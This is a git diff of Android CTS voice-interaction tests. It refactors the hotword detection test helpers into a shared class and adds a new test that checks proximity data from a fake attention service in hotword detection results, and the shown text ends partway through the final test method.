@@ -20,6 +20,7 @@
name: "CtsVoiceInteractionTestCases",
defaults: ["cts_defaults"],
static_libs: [
+ "CtsAttentionServiceDevice",
"CtsVoiceInteractionCommon",
"ctstestrunner-axt",
"compatibility-device-util-axt",
@@ -35,7 +36,7 @@
"service/src/android/voiceinteraction/service/MainInteractionSessionService.java",
"service/src/android/voiceinteraction/service/MainRecognitionService.java",
"service/src/android/voiceinteraction/service/EventPayloadParcelable.java",
- "service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl"
+ "service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl",
],
// Tag this module as a cts test artifact
test_suites: [
diff --git a/tests/tests/voiceinteraction/AndroidManifest.xml b/tests/tests/voiceinteraction/AndroidManifest.xml
index 1b8b513..6401843 100644
--- a/tests/tests/voiceinteraction/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/AndroidManifest.xml
@@ -96,6 +96,14 @@
<meta-data android:name="android.speech"
android:resource="@xml/recognition_service" />
</service>
+ <service android:name="android.attentionservice.cts.CtsTestAttentionService"
+ android:label="CtsTestAttentionService"
+ android:permission="android.permission.BIND_ATTENTION_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.service.attention.AttentionService"/>
+ </intent-filter>
+ </service>
<receiver android:name="VoiceInteractionTestReceiver"
android:exported="true"/>
</application>
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
index 767143c..2202309 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -17,6 +17,9 @@
package android.voiceinteraction.cts;
import static android.content.pm.PackageManager.FEATURE_MICROPHONE;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.perform;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.performAndGetDetectionResult;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.testHotwordDetection;
import static com.google.common.truth.Truth.assertThat;
@@ -24,7 +27,6 @@
import android.app.Instrumentation;
import android.app.compat.CompatChanges;
-import android.content.Intent;
import android.content.pm.PackageManager;
import android.media.AudioAttributes;
import android.media.AudioFormat;
@@ -44,7 +46,6 @@
import android.voiceinteraction.service.EventPayloadParcelable;
import android.voiceinteraction.service.MainHotwordDetectionService;
-import androidx.annotation.NonNull;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.RequiresDevice;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -139,9 +140,12 @@
@Test
public void testHotwordDetectionService_validHotwordDetectionComponentName_triggerSuccess()
throws Throwable {
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
}
@Test
@@ -157,22 +161,31 @@
receiver.register();
// Create SoftwareHotwordDetector
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
// Destroy detector
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
// Create AlwaysOnHotwordDetector
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
verifyDetectedResult(
- performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST),
+ performAndGetDetectionResult(
+ mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
MainHotwordDetectionService.DETECTED_RESULT);
verifyMicrophoneChip(true);
}
@@ -180,17 +193,21 @@
@Test
public void testVoiceInteractionService_withoutManageHotwordDetectionPermission_triggerFailure()
throws Throwable {
- testHotwordDetection(Utils.VIS_WITHOUT_MANAGE_HOTWORD_DETECTION_PERMISSION_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.VIS_WITHOUT_MANAGE_HOTWORD_DETECTION_PERMISSION_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
}
@Test
public void testVoiceInteractionService_holdBindHotwordDetectionPermission_triggerFailure()
throws Throwable {
- testHotwordDetection(Utils.VIS_HOLD_BIND_HOTWORD_DETECTION_PERMISSION_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.VIS_HOLD_BIND_HOTWORD_DETECTION_PERMISSION_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
}
@Test
@@ -199,12 +216,17 @@
throws Throwable {
Thread.sleep(CLEAR_CHIP_MS);
// Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
verifyDetectedResult(
- performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST),
+ performAndGetDetectionResult(
+ mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
MainHotwordDetectionService.DETECTED_RESULT);
verifyMicrophoneChip(true);
}
@@ -215,11 +237,16 @@
throws Throwable {
Thread.sleep(CLEAR_CHIP_MS);
// Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
- assertThat(performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST))
+ assertThat(performAndGetDetectionResult(
+ mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC))
.isEqualTo(MainHotwordDetectionService.REJECTED_RESULT);
verifyMicrophoneChip(false);
}
@@ -229,13 +256,17 @@
throws Throwable {
Thread.sleep(CLEAR_CHIP_MS);
// Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
verifyDetectedResult(
performAndGetDetectionResult(
- Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST),
+ mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
MainHotwordDetectionService.DETECTED_RESULT);
verifyMicrophoneChip(true);
}
@@ -246,12 +277,17 @@
throws Throwable {
Thread.sleep(CLEAR_CHIP_MS);
// Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
verifyDetectedResult(
- performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST),
+ performAndGetDetectionResult(
+ mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
MainHotwordDetectionService.DETECTED_RESULT);
verifyMicrophoneChip(true);
}
@@ -261,17 +297,23 @@
public void testHotwordDetectionService_onStopDetection()
throws Throwable {
// Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
// The HotwordDetectionService can't report any result after recognition is stopped. So
// restart it after stopping; then the service can report a special result.
- perform(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST);
- perform(Utils.HOTWORD_DETECTION_SERVICE_CALL_STOP_RECOGNITION);
+ perform(mActivityTestRule, Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+ perform(mActivityTestRule, Utils.HOTWORD_DETECTION_SERVICE_CALL_STOP_RECOGNITION,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
EventPayloadParcelable result =
(EventPayloadParcelable) performAndGetDetectionResult(
- Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST);
+ mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
verifyDetectedResult(
result, MainHotwordDetectionService.DETECTED_RESULT_AFTER_STOP_DETECTION);
@@ -281,9 +323,11 @@
@RequiresDevice
public void testHotwordDetectionService_concurrentCapture() throws Throwable {
// Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
SystemUtil.runWithShellPermissionIdentity(() -> {
AudioRecord record =
@@ -305,7 +349,9 @@
record.startRecording();
verifyDetectedResult(
performAndGetDetectionResult(
- Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST),
+ mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
MainHotwordDetectionService.DETECTED_RESULT);
// TODO: Test that it still works after restarting the process or killing audio
// server.
@@ -319,14 +365,18 @@
public void testHotwordDetectionService_processDied_triggerOnError()
throws Throwable {
// Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
// Use AlwaysOnHotwordDetector to test process died of HotwordDetectionService
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_GET_ERROR);
+ Utils.HOTWORD_DETECTION_SERVICE_GET_ERROR,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
// ActivityManager will schedule a timer to restart the HotwordDetectionService due to
// we crash the service in this test case. It may impact the other test cases when
@@ -339,68 +389,47 @@
@Test
public void testHotwordDetectionService_destroyDspDetector_activeDetectorRemoved() {
// Create AlwaysOnHotwordDetector
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
// Can no longer use the detector because it is in an invalid state
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
}
@Test
public void testHotwordDetectionService_destroySoftwareDetector_activeDetectorRemoved() {
// Create SoftwareHotwordDetector
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
// Can no longer use the detector because it is in an invalid state
- testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
- Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION);
- }
-
- private void testHotwordDetection(int testType, String expectedIntent, int expectedResult) {
- final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
- expectedIntent);
- receiver.register();
- perform(testType);
- final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
- receiver.unregisterQuietly();
-
- assertThat(intent).isNotNull();
- assertThat(intent.getIntExtra(Utils.KEY_TEST_RESULT, -1)).isEqualTo(expectedResult);
- }
-
- @NonNull
- private Parcelable performAndGetDetectionResult(int testType) {
- final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
- Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT);
- receiver.register();
- perform(testType);
- final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
- receiver.unregisterQuietly();
-
- assertThat(intent).isNotNull();
- final Parcelable result = intent.getParcelableExtra(Utils.KEY_TEST_RESULT);
- assertThat(result).isNotNull();
- return result;
- }
-
- private void perform(int testType) {
- mActivityTestRule.getScenario().onActivity(
- activity -> activity.triggerHotwordDetectionServiceTest(
- Utils.HOTWORD_DETECTION_SERVICE_BASIC, testType));
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
}
// TODO: Implement HotwordDetectedResult#equals to override the Bundle equality check; then
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
new file mode 100644
index 0000000..699a8f4
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.performAndGetDetectionResult;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.testHotwordDetection;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Instrumentation;
+import android.attentionservice.cts.CtsTestAttentionService;
+import android.os.Parcelable;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
+import android.service.attention.AttentionService;
+import android.service.voice.HotwordDetectedResult;
+import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.service.EventPayloadParcelable;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for using the Attention Service inside VoiceInteractionService using
+ * a basic HotwordDetectionService.
+ */
+@ApiTest(apis = {"android.service.voice.HotwordDetectedResult#getExtras"})
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "No real use case for instant mode hotword detection service")
+public final class HotwordDetectionServiceProximityTest
+ extends AbstractVoiceInteractionBasicTestCase {
+ /** TODO(b/247920386): Replace with the system constant. */
+ private static final boolean ENABLE_PROXIMITY_RESULT = false;
+
+ @Rule
+ public final DeviceConfigStateChangerRule mEnableAttentionManagerServiceRule =
+ new DeviceConfigStateChangerRule(sInstrumentation.getTargetContext(),
+ DeviceConfig.NAMESPACE_ATTENTION_MANAGER_SERVICE,
+ SERVICE_ENABLED,
+ "true");
+
+ private static final String EXTRA_PROXIMITY_METERS =
+ "android.service.voice.extra.PROXIMITY_METERS";
+
+ private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
+
+ private static final String SERVICE_ENABLED = "service_enabled";
+ private static final String FAKE_SERVICE_PACKAGE =
+ HotwordDetectionServiceProximityTest.class.getPackage().getName();
+ private static final double SUCCESSFUL_PROXIMITY_DISTANCE = 1.0;
+
+ @BeforeClass
+ public static void enableAttentionService() throws InterruptedException {
+ CtsTestAttentionService.reset();
+ assertThat(setTestableAttentionService(FAKE_SERVICE_PACKAGE)).isTrue();
+ assertThat(getAttentionServiceComponent()).contains(FAKE_SERVICE_PACKAGE);
+ runShellCommand("cmd attention call checkAttention");
+ }
+
+ @AfterClass
+ public static void clearAttentionService() {
+ runShellCommand("cmd attention clearTestableAttentionService");
+ }
+
+ @Test
+ @RequiresDevice
+ public void testAttentionService_onDetectFromDsp() {
+ // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+ // by default, proximity should not be returned.
+ verifyProximityBundle(
+ performAndGetDetectionResult(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+ null);
+
+ // when proximity is unknown, proximity should not be returned.
+ CtsTestAttentionService.respondProximity(AttentionService.PROXIMITY_UNKNOWN);
+
+ verifyProximityBundle(
+ performAndGetDetectionResult(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+ null);
+
+ // when proximity is known, proximity should be returned.
+ CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+
+ verifyProximityBundle(
+ performAndGetDetectionResult(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+ SUCCESSFUL_PROXIMITY_DISTANCE);
+
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+ }
+
+ @Test
+ @RequiresDevice
+ public void testAttentionService_onDetectFromMic_noUpdates() {
+ // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+ verifyProximityBundle(
+ performAndGetDetectionResult(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+ null);
+
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+ }
+
+ @Test
+ @RequiresDevice
+ public void testAttentionService_onDetectFromMic_unknownProximity() {
+ // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+ CtsTestAttentionService.respondProximity(AttentionService.PROXIMITY_UNKNOWN);
+
+ verifyProximityBundle(
+ performAndGetDetectionResult(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+ null);
+
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+ }
+
+ @Test
+ @RequiresDevice
+ public void testAttentionService_onDetectFromMic_updatedProximity() {
+ // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+ CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+
+ verifyProximityBundle(
+ performAndGetDetectionResult(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+ SUCCESSFUL_PROXIMITY_DISTANCE);
+
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
